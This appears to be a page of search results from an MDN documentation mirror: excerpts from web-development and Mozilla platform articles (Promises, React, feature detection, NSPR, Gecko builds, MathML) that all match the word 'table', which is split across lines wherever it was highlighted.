...also go to the svg element reference, find out more details about other toys you can use in svg, and try those out too. this section is all about practising your research skills, and having some fun. if you get stuck and can't get your code working, you can always reset it using the reset button. ...
Graceful asynchronous programming with Promises - Learn web development
ptions), it can block until not only all of those decisions are made, but also the camera and microphone have been engaged. also, the user may not respond immediately to these permission requests. this can potentially take a long time. since the call to getusermedia() is made from the browser's main thread, the entire browser is blocked until getusermedia() returns! obviously, that's not an accep
table option; without promises, everything in the browser becomes unusable until the user decides what to do about the camera and microphone. so instead of waiting for the user, getting the chosen devices enabled, and directly returning the mediastream for the stream created from the selected sources, getusermedia() returns a promise which is resolved with the mediastream once it's available. the code...
...s only when the promise call completes successfully and returns the response object — in promise-speak, when it has been fulfilled. it is passed the returned response object as a parameter. note: the way that a .then() block works is similar to when you add an event listener to an object using addeventlistener(). it doesn't run until an event occurs (when the promise fulfills). the most no
table difference is that a .then() will only run once for each time it is used, whereas an event listener could be invoked multiple times. we immediately run the blob() method on this response to ensure that the response body is fully downloaded, and when it is available transform it into a blob object that we can do something with. the result of this is returned like so: response => response.
... pass before doing the thing. inside the function we then return a new promise object — invoking the function will return the promise we want to use. inside the promise constructor, we do several checks inside if ... else structures: first of all, we check to see if the message is appropriate for being alerted. if it is an empty string or not a string at all, we reject the promise with a sui
table error message. next, we check to see if the interval is an appropriate interval value. if it is negative or not a number, we reject the promise with a sui
table error message. finally, if the parameters both look ok, we resolve the promise with the specified message after the specified interval has passed using settimeout(). since the timeoutpromise() function returns a promise, we can chain .
Useful string methods - Learn web development
rm operand1 operator operand2. is the thing on the left equal to the thing on the right? or in this case, does the method call on the left return the result on the right? hint: in this case it is probably more useful to test whether the method call isn't equal to a certain result. ...
...nother new variable. change the value of the result variable to equal to the final result, not the input. note: a hint — the parameters of the string methods don't have to be string literals; they can also be variables, or even variables with a method being invoked on them. ...
...le station name using the semicolon character index number as a reference point, and store it in a new variable. concatenate the two new variables and a string literal to make the final string. change the value of the result variable to equal to the final string, not the input. ...
What is JavaScript? - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css. objective: to gain familiarity with what javascript is, what it can do, and how it fits into a web site. ...
...lling video jukeboxes, etc. — you can bet that javascript is probably involved. it is the third layer of the layer cake of standard web technologies, two of which (html and css) we have covered in much more detail in other parts of the learning area. html is the markup language that we use to structure and give meaning to our web content, for example defining paragraphs, headings, and data
tables, or embedding images and videos in the page. css is a language of style rules that we use to apply styling to our html content, for example setting background colors and fonts, and laying out our content in multiple columns. javascript is a scripting language that enables you to create dynamically updating content, control multimedia, animate images, and pretty much everything else. (okay, not...
...r-side languages — it refers to the ability to update the display of a web page/app to show different things in different circumstances, generating new content as required. server-side code dynamically generates new content on the server, e.g. pulling data from a database, whereas client-side javascript dynamically generates new content inside the browser on the client, e.g. creating a new html
table, filling it with data requested from the server, then displaying the
table in a web page shown to the user. the meaning is slightly different in the two contexts, but related, and both approaches (server-side and client-side) usually work together. a web page with no dynamically updating content is referred to as static — it just shows the same content all the time. how do you add javascript ...
Getting started with React - Learn web development
ny developers in the react community think that the readability of jsx is worthwhile. plus, popular tooling makes the jsx-to-javascript compilation part of its setup process. you don't have to configure compilation yourself unless you want to. because jsx is a blend of html and javascript, some developers find it intuitive. others say that its blended nature makes it confusing. once you're comfor
table with it, however, it will allow you to build user interfaces more quickly and intuitively, and allow others to better understand your codebase at a glance. to read more about jsx, check out the react team's jsx in depth article. setting up your first react app there are many ways to use react, but we're going to use the command-line interface (cli) tool create-react-app, as mentioned earlier, ...
...me you are using npm in this set of tutorials. see package management basics for more information on npm and yarn. if you're using windows, you will need to install some software to give you parity with unix/macos terminal in order to use the terminal commands mentioned in this tutorial. gitbash (which comes as part of the git for windows toolset) or windows subsystem for linux (wsl) are both sui
table. see command line crash course for more information on these, and on terminal commands in general. also bear in mind that react and reactdom produce apps that only work on a fairly modern set of browsers — ie9+ by way of some polyfills. it is recommended that you use a modern browser like firefox, safari, or chrome when working through these tutorials. also, see the following for more informa...
......
Implementing feature detection - Learn web development
wn simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross-browser testing. objective: to understand what the concept of feature detection is, and be able to implement sui
table solutions in css and javascript. the concept of feature detection the idea behind feature detection is that you can run a test to determine whether a feature is supported in the current browser, and then conditionally run code to provide an accep
table experience both in browsers that do support the feature, and browsers that don't. if you don't do this, browsers that don't support the fea...
...thy/falsy value that may skew the results. the dive into html5 detecting html5 features page has a lot more useful feature detection tests besides the ones listed above, and you can generally find a feature detection test for most things by searching for "detect support for your-feature-here" in your favorite search engine. bear in mind though that some features, however, are known to be undetec
table — see modernizr's list of undetec
tables. matchmedia we also wanted to mention the window.matchmedia javascript feature at this point too. this is a property that allows you to run media query tests inside javascript. it looks like this: if (window.matchmedia("(max-width: 480px)").matches) { // run javascript in here. } as an example, our snapshot demo makes use of it to selectively apply ...
...aking for a much smaller file size. css let's have a look at how modernizr works in terms of selectively applying css. first, make a copy of supports-feature-detect.html and supports-styling.css. save them as modernizr-css.html and modernizr-css.css. update your <link> element in your html so it points to the correct css file (you should also update your <title> element to something more sui
table!): <link href="modernizr-css.css" rel="stylesheet"> above this <link> element, add a <script> element to apply the modernizr library to the page, as shown below. this needs to be applied to the page before any css (or javascript) that might make use of it. <script src="modernizr-custom.js"></script> now edit your opening <html> tag, so that it looks like this: <html class="no-js"> ...
Handling common JavaScript problems - Learn web development
w functions). for a quick example, see arrow-function.html (see the source code also). arrow functions are supported across all modern browsers, except for ie and safari. declaring strict mode at the top of your javascript code causes it to be parsed with a stricter set of rules, meaning that more warnings and errors will be thrown, and some things will be disallowed that would otherwise be accep
table. it is arguably a good idea to use strict mode, as it makes for better, more efficient code, however it has limited/patchy support across browsers (see strict mode in browsers). typed arrays allow javascript code to access and manipulate raw binary data, which is necessary as browser apis for example start to manipulate streams of raw video and audio data. these are available in ie10 and above, ...
...r example, you could use feature detection to determine whether a feature is supported; if it isn't, you could then run code to load a polyfill or a library to handle the lack of support. feature detection the idea behind feature detection is that you can run a test to determine whether a javascript feature is supported in the current browser, and then conditionally run code to provide an accep
table experience both in browsers that do and don't support the feature. as a quick example, the geolocation api (which exposes available location data for the device the web browser is running on) has a main entry point for its use — a geolocation property available on the global navigator object. therefore, you can detect whether the browser supports geolocation or not by using something like the ...
...g your own all the time. modernizr is the industry standard for feature detection tests. as a last point, don't confuse feature detection with browser sniffing (detecting what specific browser is accessing the site) — this is a terrible practice that should be discouraged at all costs. see using bad browser sniffing code, later on, for more details. note: some features are known to be undetec
table — see modernizr's list of undetec
tables. note: feature detection will be covered in a lot more detail in its own dedicated article, later in the module. libraries javascript libraries are essentially third party units of code that you can attach to your page, providing you with a wealth of ready-made functionality that can be used straight away, saving you a lot of time in the process. a ...
Learn web development
welcome to the mdn learning area. this set of articles aims to provide complete beginners to web development with all that they need to start coding websites. the aim of this area of mdn is not to take you from "beginner" to "expert" but to take you from "beginner" to "comfor
table." from there, you should be able to start making your way, learning from the rest of mdn, and other intermediate to advanced resources that assume a lot of previous knowledge. if you are a complete beginner, web development can be challenging — we will hold your hand and provide enough detail for you to feel comfor
table and learn the topics properly. you should feel at home whether you are a student learning web development (on your own or as part of a class), a teacher looking for class materials, a hobbyist, or...
...development, we'd recommend that you start by working through our getting started with the web module, which provides a practical introduction to web development. beyond the basics: if you have a bit of knowledge already, the next step is to learn html and css in detail: start with our introduction to html module and move on to our css first steps module. moving onto scripting: if you are comfor
table with html and css already, or you are mainly interested in coding, you'll want to move on to javascript or server-side development. begin with our javascript first steps and server-side first steps modules. frameworks and tooling: after mastering the essentials of vanilla html, css, and javascript, you should learn about client-side web development tools, and then consider digging into client-si...
...ml in detail. css — styling the web css is the language that we can use to style and layout our web content, as well as adding behavior like animation. this topic provides comprehensive coverage of css. javascript — dynamic client-side scripting javascript is the scripting language used to add dynamic functionality to web pages. this topic teaches all the essentials needed to become comfor
table with writing and understanding javascript. web forms — working with user data web forms are a potent tool for interacting with users — most commonly, they are used for collecting data from users, or allowing them to control a user interface. in the articles listed below, we'll cover all the essential aspects of structuring, styling, and interacting with web forms. accessibility — make th...
Accessibility/LiveRegionDevGuide
ndard priority queue methods, additional methods will need to be implemented that purge the queue based on one of the priority criterion. the "purge by timestamp" method will be used to remove old messages that are no longer deemed relevant while "purge by politeness" is used to satisfy the aria live politeness specification. the later method will be explained in detail below. event types the
table for web page mutation event types lists the two major event types associated with live regions, namely text-changed and object changed events. both will be discussed in detail below. object changed the object changed events are slightly different in at-spi and iaccessible2. in at-spi, the object changed event are called object:children-changed events because the event is triggered on the paren...
...erated. (at-spi only) a global variable can be set in a document:load:complete event listener and reset in a object:state-changed:busy listener. this variable can then be used to quickly determine if an event was triggered by the document being loaded. an event containing an object that does not have state visible is probably from a hidden tab. an event containing an object that has state selec
table is not a live region. an event containing an object that has the attribute "container-live" is a live region. however, many web sites do not have proper aria markup so this cannot be used by itself. an event containing an object that has an attribute "tag:xul*" is not a live region. an event that has an object that is not a descendant of the document frame is not a live region. live properti...
...live region. an event containing an object that has the attribute "container-live" is a live region. however, many web sites do not have proper aria markup so this cannot be used by itself. an event containing an object that has an attribute "tag:xul*" is not a live region. an event that has an object that is not a descendant of the document frame is not a live region. live properties this
table describe the object attributes associated with a live region event. the following are guidelines on how to implement each container-live this property determines the interruption policy or politeness level for the event and can have values of "off", "polite", "assertive" and "rude". this property, along with an event's time stamp, determine the priority of a message within the priority queue.
Adding a new event
alse. don't override methods of its super classes as far as possible since overriding the method may cause harder to maintain. when you need to check if the caller content or chrome, you can use implicitjscontext attribute in dom/bindings/bindings.conf. then, the method can have a pointer of jscontext in its argument. create dom event factory method if your dom event implementation is genera
table, you can skip this section. in nsidomevent.idl, you need to define ns_newdomfooevent(). it's last argument should be the most subclass. then, the implementation of the dom event can access internal event class instance safer. then, the factory method should be implemented at the bottom of fooevent.cpp in the global namespace. modify eventdispatcher::createevent() if your dom event implement...
...this section. in nsidomevent.idl, you need to define ns_newdomfooevent(). it's last argument should be the most subclass. then, the implementation of the dom event can access internal event class instance safer. then, the factory method should be implemented at the bottom of fooevent.cpp in the global namespace. modify eventdispatcher::createevent() if your dom event implementation is genera
table or you're in case 3, you can skip this section. the first half of eventdispatcher::createevent() is a factory to create a dom event instance from internal event instance. you need to modify this. the last half of it is the implementation of legacy event creator of javascript such as: var event = document.createevent("fooevent"); if you support this feature, you need to modify here. however, ...
...his section. you need to modify test_all_synthetic_events.html which tests if calling getmodifierstate() doesn't cause crash. you need to modify test_assign_event_data.html which tests if each attribute of dom event is copied by assignfooeventdata() properly. if your event cannot be fired easy, you should add the test but canrun should return false and call todo(). if the new dom event is crea
table with constructor, you need to modify test_eventctors.html or test_eventctors.xul which tests the behavior of event constructor. ...
Adding a new CSS property
if you add a shorthand property, you'll need to use the css_prop_shor...
...ed to be reusing the longhand parser once per item, not for a whole list, as for properties like background-image or transform-timing-function.) if the property takes a list of keywords other than inherit/initial/etc., auto, none, or normal (which can be expressed using the variant_* flags), you should use variant_keyword and add a keyword
table to the nscssprops class. the name of this keyword
table needs to go in the nscssproplist entry; otherwise that keyword
table should be null. if you need a keyword
table, you should include auto, normal, or none (if needed) in that
table rather than combining variant_keyword with variant_auto, variant_normal, or variant_none. if you add a shorthand property, you'll need to use the css_prop_shorthand macro. you'll need to use css_property_parse_funct...
... when writing the custom parsing code for a shorthand, you'll need to ensure that any successful parse sets all of the subproperties of the shorthand (since that's the way shorthands work in css). ...
Debugging on Windows
ars bold when it's the case) can be useful. breakpoints are kept across runs, this can be a good way to debug startup issues. run the program until you hit an assertion. you will get a dialog box asking if you would like to debug. hit "cancel". the msdev ide will launch and load the file where the assertion happened. this will also create a visual c++ mozilla project in the directory of the execu
table by default. attach the debugger to an existing mozilla process. in the visual studio, select debug > attach to process. if you want to debug a content process, you can hover on the tab of page you want to debug, which would show the pid. you can then select the process from dialog opened from "attach to process". for more information, see attach to running processes with the visual studio debug...
...an then select the process from dialog opened from "attach to process". for more information, see attach to running processes with the visual studio debugger. debugging release and nightly builds refer to the steps to use the mozilla symbol server and source server. creating a visual c++ project for firefox please refer to the documentation on firefox-source-docs. changing/setting the execu
table to debug vc++ 6.0: to change or set the execu
table to debug, go to project > settings..., debug tab and select general from the drop down list. "execu
table for debug session:" should show the execu
table you are debugging. if it is empty or incorrect, use the arrow button and select browse... to locate the execu
table. command line parameters and environment variables vc++ 6.0: to change or set ...
...able for visual studio, use project > properties > debugging > environment and click the little box. then use xpcom_debug_break=warn changing running code you normally shouldn't need to do this (just quit the application, set the environment variable described above, and run it again). and this can be dangerous (like trashing your hard disc and corrupting your system). so unless you feel comfor
table with this, don't do it. you have been warned! it is possible to change the interrupt code in memory (which causes you to break into debugger) to be a nop (no operation). you do this by running the program in the debugger until you hit an assertion. you should see some assembly code. one assemly code instruction reads "int 3". check the memory address for that line. now open memory view. type/co...
Simple Thunderbird build
source directory, and run: ./mach build mach is our command-line tool to streamline common developer tasks. see the mach article for more. building can take a significant amount of time, depending on your system, os, and chosen build options. linux builds on a fast box may take under 15 minutes, but windows builds on a slow box may take several hours. tips for making builds faster. the execu
table will be at the location listed under running below. running to run your build, you can use ./mach run there are various command line parameters you can add, e.g. to specify a profile. various temporary files, libraries, and the thunderbird execu
table will be found in your object directory (under comm-central/), which is prefixed with obj-. the exact name depends on your system and os. for ex...
...here are various command line parameters you can add, e.g. to specify a profile. various temporary files, libraries, and the thunderbird execu
table will be found in your object directory (under comm-central/), which is prefixed with obj-. the exact name depends on your system and os. for example, a mac user may get an object directory name of obj-x86_64-apple-darwin10.7.3/. the thunderbird execu
table in particular, and its dependencies are located under the dist/bin folder under the object directory. ...
...e thunderbird execu
table will be found in your object directory (under comm-central/), which is prefixed with obj-. the exact name depends on your system and os. for example, a mac user may get an object directory name of obj-x86_64-apple-darwin10.7.3/. the thunderbird execu
table in particular, and its dependencies are located under the dist/bin folder under the object directory. to run the execu
table from your comm-central working directory: windows: obj-.../dist/bin/thunderbird.exe linux: obj-.../dist/bin/thunderbird macos: obj-.../dist/daily.app/contents/macos/thunderbird how to update and build again in your source directory: hg pull -u cd comm hg pull -u cd .. or same commands shorter: hg pull -u; (cd comm; hg pull -u) then just re-run the mach command above. this will only ...
Contributing to the Mozilla code base
king mozilla more open, accessible, and easier to participate with. if you're having any trouble following this documentation, or hit a barrier you can't get around, please contact mike hoye at mhoye@mozilla.com. we're determined to solve hurdles for new contributors. what skills do i need? mozilla is a large project and we are thrilled to have contributors with very diverse skills below is a
table with our currently available projects to contribute to, along with the skills needs and links to their documentation. project skills documentation/onboarding firefox browser (core layers) c++ firefox developers documentation firefox (front-end) javascript and/or html/css firefox developers documentation devtools javascript and/or html/css ...
...teps into the mozilla ecosystem. they're all about small changes, sometimes as little as a few lines, but they're a great way to learn about setting up your development environment, navigating bugzilla, and making contributions to the mozilla codebase. visit firefox-dev.tools - we list firefox developer tools bugs for new contributors. student projects - are larger projects, such as might be sui
table for a university student for credit. of course, if you are not a student, feel free to fix one of these bugs. we maintain two lists: one for projects based on the existing codebase, and one for implementing new applications. use a bug searching tool there are several tools developed by members of the mozilla community. these help new contributors find bugs to work on, without having to use bug...
...elf may contain a clear indication of the best person to ask for a review are there related bugs on similar topics? the reviewer in those bugs might be another good choice we have a list of modules, which lists peers and owners for the module. some of these will be good reviewers. in a worst case scenario, set the module owner as the reviewer, asking them in the comments to pick someone more sui
table please select only one reviewer. step 4b: follow it up once you've asked for a review, a reviewer will often respond within a day or two, reviewing the patch, or saying when they will be able to review it, perhaps due to a backlog. if you don't hear back within this time, naturally reach out to them: add a comment to the bug saying 'review ping?', check the "need more information from" box, a...
Multiple Firefox profiles
us, you can try one of the other three channels to see what is coming in firefox and play around with emerging features. the beta channel contains the features that are expected to be in the next release of firefox and are in final stages of testing. aurora contains experimental features, which are not yet at beta quality. nightly contains the latest code from firefox developers and is the least s
table channel. third-party tools in addition to the built-in profile manager and the external profile manager, there are a few third-party tools that make working with multiple profiles easy. this list is by no means exhaustive. please add any helpful tools you discover to the list! mac os x multifirefox by dave martorana profile management determining the profile while firefox is running ...
... custom application launcher. once you get to the point of adding a new item, you can have the profile dialog show up every time or set the launcher to launch a specific profile. if you want to have the profile manager to pop up each time you start firefox, so you can choose a profile, you will need to set the command line for your new launcher. set the "command" text field to target the execu
table file, likely "/usr/bin/firefox", and add the -p parameter. if you want individual icons to launch specific profiles, you will need to set the command line for your new launcher. to do this: set the "command" text field to target the execu
table file, likely "/usr/bin/firefox", and add the -p profile_name parameter, replacing "profile_name" with the specific profile. repeat as necessary, for ...
...ows launcher. linux in linux, things aren't as automatically set up. you will likely get a prompt to download a tar.bz2 file to extract from. extract the files to a new directory, and use the new launcher instructions from here. the only change you will need to make is the command path. you will want to set it to the directory where you extracted the firefox channel's tar.bz2 file, and the execu
table "firefox" file located within this directory. the remaining profile assignment methods will remain the same. you will want to, for sure, add the -no-remote part to the end of the command field, so that you could run multiple instances at the same time. mac os x you can find a useful tutorial to set up custom launchers here: managing multiple firefox profiles in osx. do note it's best to follow ...
Gecko SDK
the gecko/xulrunner sdk with xulrunner itself. the gecko sdk is a collection of header files and tools used to develop general xpcom components which add functionality to the existing platform, whereas xulrunner is a framework which can be used to run standalone or embedded applications based on the mozilla framework. the gecko sdk contains all of the necessary tools and headers for making scrip
table npapi plugins including the xpidl compiler/linker and the latest npapi.h. get the sdk updates there is no need to download or rebuild the gecko sdk corresponding to security updates of mozilla (e.g., mozilla 1.7.3) since the headers and glue libs in the gecko sdk are usually not changed as a result of security updates. you do have to get and distribute the newest gecko components (gklayout.dll...
...sh to target. for gecko versions 2.0 and higher, you must recompile your component for each release as cross-version compatibility is no longer supported. in addition to the below versions, you can find other versions (including beta) here: xulrunner releases (files include "sdk" in the name). the sdk follows the same release schedule as firefox/thunderbird. once the sdk enters beta, it is sui
table for building extensions; your component should work with release builds of the sdk without any modifications. due to the rapid release process, it may be a good idea to target the sdk in beta. download link latest gecko (latest firefox) gecko 1.9.2 (firefox 3.6) gecko 1.9.1 (firefox 3.5) gecko 1.9 (firefox 3.0) gecko 1.8 (firefox 1.5 and 2.0) windows download...
...64 download n/a n/a n/a n/a linux i686 download download download download download the sdk is not officially released for other platforms; if you need it, you will probably need to build it yourself. note: you can subscribe to a calendar of the firefox release schedule. also, you can view the schedule on the web. unpack the sdk tarball to some sui
table location. issues with the os x sdk if you need to use the xpidl utility to compile idl files on os x, it's likely that you will receive a strange error when running the tool that looks something along the lines of this: dyld: library not loaded: /opt/local/lib/libintl.3.dylib referenced from: /users/varmaa/xulrunner-sdk/bin/./xpidl reason: image not found trace/bpt trap unfortunately, th...
JavaScript-DOM Prototypes in Mozilla
c++ object. in the case where the c++ object has class info (nsiclassinfo), the jsobject is a more or less empty jsobject which is not really that special. all the methods that are supposed to show up on this jsobject are actually not properties of the object itself, but rather properties of the prototype of the jsobject for the wrapper (unless the c++ object's class info has the flag nsixpcscrip
table::dont_share_prototype set, but lets assume that's not the case here). as an example of this let's look at an html image element in a document. var obj = document.images[0]; here, obj will not really have any properties (except for the standard jsobject properties such as constructor, and the non-standard __parent__, __proto__, etc.), all the dom functionality of obj comes from obj's prototype...
...anager also deals with other types of names, but those are unrelated to the dom object prototype setup, so we will ignore those here. once the registration is done, the nsdomclassinfo code uses the registry every time a named property is resolved on a global object (because of this, the nsscriptnamespacemanager needs to be pretty fast at looking things up in its registry; that's why it is a hash
table). when a property is resolved on the global object, the nsdomclassinfo code will ask the nsscriptnamespacemanager if the name is a known name (in nswindowsh::globalresolve()), and if the name is known, the code will look at the type of the name and act accordingly. if a class constructor or class prototype name is resolved, the class info code will define the constructor for that class, and also...
... ok, so that's how class constructor and their prototype properties are set up, what about the actual prototype chain of a xpconnected dom object? the beauty of this code is that the prototype property of a class constructor is the real xpconnect prototype for that class. when xpconnect wraps a dom object (i.e. creates a xpconnect javascript wrapper for a dom object), xpconnect will call the scrip
table helper method nsdomclassinfo::postcreate() which will make sure the prototype chain of the wrapper jsobject is properly set up. in this call, the nsdomclassinfo code just needs to resolve the name of the class on the global object, and the prototype will be set up by the resolving code (nswindowsh::globalresolve()). this is also done only once per class, nsdomclassinfo::postcreate() checks if the...
Encodings for localization files
installer the windows installer can’t handle utf-8, but only the codepages provided by windows. this is tricky to hook up in the build process, so here it goes: file encoding notes toolkit/installer/windows/charset.mk ascii the win_installer_charset variable must be set to an encoding which matches toolkit/installer/windows/install.it charset= parameter. see the
table below for appropriate values. toolkit/installer/windows/install.it a windows codepage. this must match the charset= parameter in this file, and the win_installer_charset parameter in charset.mk the fontname/fontsize/charset parameters in this file must be set to good values. for most western scripts, ‘ms sans serif’ and ‘8’ are good defaults for the font settings. eastern s...
...ndows codepage. this must match the charset= parameter in this file, and the win_installer_charset parameter in charset.mk the fontname/fontsize/charset parameters in this file must be set to good values. for most western scripts, ‘ms sans serif’ and ‘8’ are good defaults for the font settings. eastern scripts will need to choose appropriate fonts that are shipped with windows. ...
...rn scripts, ‘ms sans serif’ and ‘8’ are good defaults for the font settings. eastern scripts will need to choose appropriate fonts that are shipped with windows. see the
table below for appropriate values for the charset= parameter. ...
Extras
other renderers are expected to ignore attributes that they don't understand while the behavior of undefined elements is well, undefined. ...
...> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> </p> css content math.cue *[title] { color: blue; } mixing with other markups html content <math display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <m
table> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext> <img width="16" height="16" src="https://udn.realityripple.com/samples/3f/9341cbddc0.png" alt="mozilla-16" /> </mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input value="type" size="4"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </m
table> <mo>]</mo> </mrow> </math> <math display="block"> <msqrt> <mpadded width="30px" height="15px" depth="15px" voffset="-1...
... attributetype="xml" type="rotate" from="0" to="360" dur="6s" repeatcount="indefinite"/> <g transform="translate(-50,-35)"> <rect width="100" height="70" fill="url(#grad2)"/> <switch> <foreignobject width="100" height="70" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <mo>(</mo> <m
table> <mtr> <mtd><mi>cos</mi><mi>θ</mi></mtd> <mtd><mo>−</mo><mi>sin</mi><mi>θ</mi></mtd> </mtr> <mtr> <mtd><mi>sin</mi><mi>θ</mi></mtd> <mtd><mi>cos</mi><mi>θ</mi></mtd> </mtr> </m
table> <mo>)</mo> </mrow> </math> </foreignobject> <text>rotation matrix</text> </switch> </g></g></g> <g> <animatemotion path="m 32,69 c 64,121 100,27 152,42 203,56 239,257 275,161 295,109 144,221 88,214 -2,202 11,35...
MathML Demo: <mo> - operator, fence, separator, or accent
the symbols occur in the context of a simple expression. in general, the lspace and rspace around the relation should be greater than that around the operation. operator and relations center vertically on the math axis. ...
...the symbols occur in the context of a simple expression. in general, the lspace and rspace around arrows should be similar to the spacing around relations. there is an issue with the markup of "long" latex arrows in mathml. there are entities from these arrows, ⟵ ⟵ ⟶ etc. but they have no standard unicodes. they can...
......
Gecko Profiler FAQ
ures the necessary information but doesn’t have a way to display it. similarly it also can’t show you instruction level information about where each sample was captured (this is why there is no support for line-level sampling for native code either.) at this point the granularity of each sample it displays is a native function. therefore the gecko profiler is not a sui
table tool for finding hotspots within a single function. for this purpose you should try to use a native profiler on your platform of choice (for example xperf/vtune on windows, instruments on osx, and perf/zoom on linux.) one workaround is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile. this can change some performance characteristics, but...
...ituation, since oses can basically decide to swap out part of your virtual address space and you’d page fault when you access that page next and there is very little that the program can do about that. many times the reason you incur a page fault is merely that you are touching a memory page that hasn’t been touched in awhile. for example, we have observed that the first access to large hash
tables when doing a hash
table lookup can incur a page fault in many cases, and while the specific reason behind each one of those page faults may be different, the general conclusion from that observation would be something about the overall efficiency of your memory access patterns. typically we wouldn’t be optimizing away a single page fault anyway. what is the status of i/o detection...
...ssue. it’s better to start getting used to profiling and analyzing real pages more. :-) what's the best way to profile startup performance? install the gecko profiler add-on. quit the browser. start the browser with the environment variable moz_profiler_startup=1 set. as soon as startup is done, collect a profile. what's the best way to do repea
table tests? ie: i want to measure perf of loading the same page with different stylo configurations. probably by using talos, especially if you want to measure and not profile. you can make your own talos pageload test which has just the one page that you’re interested in in its manifest. what actually means the percentage of the running time? the per...
NSPR Poll Method
this technical note documents the poll method of prfiledesc. the poll method is not to be confused with the pr_poll function. the poll method operates on a single netscape por
table runtime (nspr) file descriptor, whereas pr_poll operates on a collection of nspr file descriptors. pr_poll uses the poll method behind the scene, but it is also possible to use the poll method directly. we consider a stack of nspr i/o layers on top of the network transport. each i/o layer is represented by a prfiledesc structure and the protocol of that layer is implemented by a priomethods
table. the bottom layer is a wrapper for the underlying network transport. the nspr library provides a reference implementation of the bottom layer using the sockets api, but you can provide your own implementation of the ...
...cture and the protocol of that layer is implemented by a priomethods
table. the bottom layer is a wrapper for the underlying network transport. the nspr library provides a reference implementation of the bottom layer using the sockets api, but you can provide your own implementation of the bottom layer using another network transport api. the poll method is one of the functions in the priomethods
table. the prototype of the poll method is print16 poll_method(prfiledesc *fd, print16 in_flags, print16 *out_flags); the purpose of the poll method is to allow a layer to modify that flags that will ultimately be used in the call to the underlying network transport's select (or equivalent) function, and to indicate that a layer is already able to make progress in the manner suggested by the polling ...
...return, if (new_flags & out_flags) is nonzero, you can try pr_recv or pr_send immediately. otherwise ((new_flags & out_flags) is 0), you should do the following. if new_flags contains pr_poll_read, you should try pr_recv or pr_send when the underlying network transport is readable if new_flags contains pr_poll_write, you should try pr_recv or pr_send when the underlying network transport is wri
table important do not use out_flags in any way other than testing if (new_flags & out_flags) is 0. this is how pr_poll (the primary user and hence the de facto specification of the poll method) uses out_flags. original document information author: wan teh chang last updated date: june 27, 2006 ...
Introduction to NSPR
this chapter introduces key nspr programming concepts and illustrates them with sample code. the current implementation of nspr allows developers to compile a single source code base on macintosh (ppc), win32 (nt 3.51, nt 4.0, win'95), and over twenty versions of unix. nspr does not provide a platform for porting existing code. it must be used from the beginning of a software project. ...
...riate thread. it might be viewed as taking the executing thread and adding it to the end of the ready queue for its appropriate priority, then simply running the scheduling algorithm to find the most appropriate thread. the chosen thread may be of higher priority, of the same priority, or even the same thread. it will not be a thread of lower priority. some operating systems cannot be made preemp
table (for example, mac os and win 16). this puts them at some risk in supporting arbitrary code, even if the code is interpreted (java). other systems are not thread-aware, and their runtime libraries not thread-safe (most versions of unix). these systems can support local level thread abstractions that can be made preemp
table, but run the risk of library corruption (libc). still other operating syste...
...read-aware, and their runtime libraries not thread-safe (most versions of unix). these systems can support local level thread abstractions that can be made preemp
table, but run the risk of library corruption (libc). still other operating systems have a native notion of threads, and their libraries are thread-aware and support locking. however, if local threads are also present, and they are preemp
table, they are subject to deadlock. at this time, the only safe solutions are to turn off preemption (a runtime decision) or to preempt global threads only. interrupting threads nspr threads are interrup
table, with some constraints and inconsistencies. to interrupt a thread, the caller of pr_interrupt must have the nspr reference to the target thread (prthread*). when the target is interrupted, it ...
PRIOMethods
the
table of i/o methods used in a file descriptor. syntax #include <prio.h> struct priomethods { prdesctype file_type; prclosefn close; prreadfn read; prwritefn write; pravailablefn available; pravailable64fn available64; prfsyncfn fsync; prseekfn seek; prseek64fn seek64; prfileinfofn fileinfo; prfileinfo64fn fileinfo64; prwritevfn writev; prconnectfn connect; pracceptfn accept; prbindfn bind; prlistenfn listen; prshutdownfn shutdown; prrecvfn recv; prsendfn send; prrecvfromfn recvfrom; prsendtofn sendto; prpollfn poll; pracceptreadfn acceptread; prtransmitfilefn transmitfile; prgetsocknamefn getsockname; prgetpeernamefn getpeername; prgetsockoptfn getsockopt; prsetsockoptfn setsockopt; }; typedef struct priomethods priomethods; pa...
...le descriptor. transmitfile transmit an entire file to the specified socket. getsockname get network address associated with a file descriptor. getpeername get peer's network address. getsockopt get current setting of specified socket option. setsockopt set value of specified socket option. description you don't need to know the type declaration for each function listed in the method
table unless you are implementing a layer. for information about each function, see the corresponding function description in this document. for example, the write method in priomethods implements the pr_write function. for type definition details, see prio.h. the i/o methods
table provides procedural access to the functions of the file descriptor. it is the responsibility of a layer implementor to pr...
...ou are implementing a layer. for information about each function, see the corresponding function description in this document. for example, the write method in priomethods implements the pr_write function. for type definition details, see prio.h. the i/o methods
table provides procedural access to the functions of the file descriptor. it is the responsibility of a layer implementor to provide sui
table functions at every entry point (that is, for every function in the i/o methods
table). if a layer provides no functionality, it should call the next lower (higher) function of the same name (for example, the "close" method would return fd->lower->method->close(fd->lower)). not all functions in the methods
table are implemented for all types of files. for example, the seek method is implemented f...
JSS Provider Notes
this policy varies across pkcs #11 tokens. translatekey tries two approaches to copying keys. first, it tries to copy the key material directly using nss calls to pkcs #11. if that fails, it calls getencoded() on the s...
...this policy varies across pkcs #11 tokens. translatekey tries two approaches to copying keys. ...
...token. this policy varies across pkcs #11 tokens. translatekey tries two approaches to copying keys. first, it tries to copy the key material directly using nss calls to pkcs #11. if that fails, it calls getencoded() on the source key, and then tries to create a new key on the target token from the encoded bits. both of these operations will fail if the source key is not extrac
table. the class java.security.spec.pbekeyspec in jdk versions earlier than 1.4 does not contain the salt and iteration fields, which are necessary for pbe key generation. these fields were added in jdk 1.4. if you are using a jdk (or jre) version earlier than 1.4, you cannot use class java.security.spec.pbekeyspec. instead, you can use org.mozilla.jss.crypto.pbekeygenparams. if you...
NSS 3.24 release notes
